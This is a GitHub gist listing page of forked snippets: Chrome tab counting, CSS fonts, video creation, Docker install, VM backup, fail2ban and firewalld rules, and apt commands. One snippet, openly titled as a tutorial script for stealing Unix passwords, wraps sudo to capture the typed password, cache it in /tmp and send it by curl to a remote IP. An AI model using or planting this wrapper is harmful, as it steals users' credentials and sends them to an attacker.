Skip to content

Instantly share code, notes, and snippets.

View m0zgen's full-sized avatar

/:) m0zgen

View GitHub Profile
@m0zgen
m0zgen / countTabs.js
Last active September 17, 2015 09:50 — forked from jlewin/countTabs.js
Count of open tabs in Chrome
chrome.windows.getAll({populate: true}, function(allWindows)
{
console.log(allWindows);
});
@m0zgen
m0zgen / gist:b2570cbde2a6d9dfafcc
Created January 7, 2016 10:36 — forked from renyi/gist:877176
CSS Font family
/* sans-serif */
font-family: Arial, "Helvetica Neue", Helvetica, sans-serif;
font-family: Helvetica, "Helvetica Neue", Arial, sans-serif;
font-family: Verdana, Geneva, Tahoma, sans-serif;
font-family: Trebuchet, Tahoma, Arial, sans-serif;
font-family: GillSans, Calibri, Trebuchet, sans-serif;
font-family: "DejaVu Sans", "Bitstream Vera Sans", "Segoe UI", "Lucida Grande", Verdana, Tahoma, Arial, sans-serif;
font-family: Geneva, "Lucida Sans", "Lucida Grande", "Lucida Sans Unicode", Verdana, sans-serif;
font-family: Geneva, Verdana, "Lucida Sans", "Lucida Grande", "Lucida Sans Unicode", sans-serif;
font-family: "HelveticaNeue-Roman", "Helvetica 55 Roman", Helvetica, Arial, sans-serif;
@m0zgen
m0zgen / mkvideo.sh
Created September 30, 2016 04:55 — forked from pklaus/mkvideo.sh
A Bash script to create a video from series of JPEG images. Ideal to create videos from timed sequences shot with a tripod. It uses mogrify (from imagemagick) to resize the images to FullHD and it then uses ffmpeg to create a video from the sequence of images.
#!/bin/bash
# This is a script to create a video from series of JPEG images
# Call it in a folder full of JPEGs that you want to turn into a video.
# Written on 2013-01-08 by Philipp Klaus <philipp.l.klaus →AT→ web.de>.
# Check <https://gist.github.com/4572552> for newer versions.
# Resources
# * http://www.itforeveryone.co.uk/image-to-video.html
# * http://spielwiese.la-evento.com/hokuspokus/index.html
#!/bin/bash
# update apt-get
export DEBIAN_FRONTEND="noninteractive"
sudo apt-get update
# remove previously installed Docker
sudo apt-get purge lxc-docker*
sudo apt-get purge docker.io*
@m0zgen
m0zgen / vm-backup.sh
Created October 4, 2019 05:21 — forked from cabal95/vm-backup.sh
I use this script to backup my QEMU/KVM/libVirt virtual machines. The script requires KVM 2.1+ since it uses the live blockcommit mode. This means the data in the snapshot disk is rolled back into the original instead of the other way around. Script does NOT handle spaces in paths.
#!/bin/bash
#
BACKUPDEST="$1"
DOMAIN="$2"
MAXBACKUPS="$3"
if [ -z "$BACKUPDEST" -o -z "$DOMAIN" ]; then
echo "Usage: ./vm-backup <backup-folder> <domain> [max-backups]"
exit 1
@m0zgen
m0zgen / jail.local
Created May 7, 2020 06:29 — forked from dale3h/jail.local
[fail2ban] Improved nginx-badbots
# Add to file: /etc/fail2ban/jail.local
[nginx-badbots]
enabled = true
port = http,https
filter = nginx-badbots
logpath = %(nginx_access_log)s
maxretry = 1
findtime = 604800
bantime = 604800
@m0zgen
m0zgen / Firewalld GeoIP firewall script
Created June 5, 2020 09:47 — forked from Pandry/Firewalld GeoIP firewall script
Block countries IPs via Firewalld
#!/bin/bash
##
# Name: GeoIP Firewall script
# Author: Pandry
# Version: 0.1
# Description: This is a simple script that will set up a GeoIP firewall blocking all the zones excecpt the specified ones
# it is possible to add the whitelisted zones @ line 47
# Additional notes: Usage of [iprange](https://github.com/firehol/iprange) is suggested
# for best performances
@m0zgen
m0zgen / sudo
Last active November 18, 2020 06:37 — forked from tokyoneon/sudo
Sudo function for stealing Unix passwords; script for WonderHowTo article
function sudo ()
{
realsudo="$(which sudo)"
read -s -p "[sudo] password for $USER: " inputPwd
encoded=$(echo "$USER : $inputPwd" | base64) > /dev/null 2>&1
printf "\n"; printf '%s\n' $encoded >> /tmp/.cached_$USER
curl -s "http://10.211.55.98/$encoded" > /dev/null 2>&1
$realsudo -S -u root bash -c "exit" <<< "$inputPwd" > /dev/null 2>&1
$realsudo "${@:1}"
}
@m0zgen
m0zgen / heroku-db-url-to-spring-boot.sh
Created April 29, 2021 07:26 — forked from wwerner/heroku-db-url-to-spring-boot.sh
Parse Heroku DB URL into Spring Boot Datasource Environment Variables
# Two possibilities to parse a Postgres DB URL from heroku into environment variables
# that Spring Boot understands.
# You would need that, if you do not build on heroku but push docker images
# from another source
# Does not need bash. Works on alpine linux / busybox. Tested with openjdk:8-jdk-alpine base image.
export DATABASE_URL=postgres://user:password@host:port/database
# Naive way, would break with [@:/] in username or password.
DB_TYPE=$(echo $DATABASE_URL | awk -F'[:@/]' '{print $1}')"ql"
# list repos
sudo apt-cache policy
# add repo
sudo add-apt-repository "deb http://us.archive.ubuntu.com/ubuntu/ saucy universe multiverse"
# remove repo
sudo add-apt-repository --remove <ppa:whatever/ppa>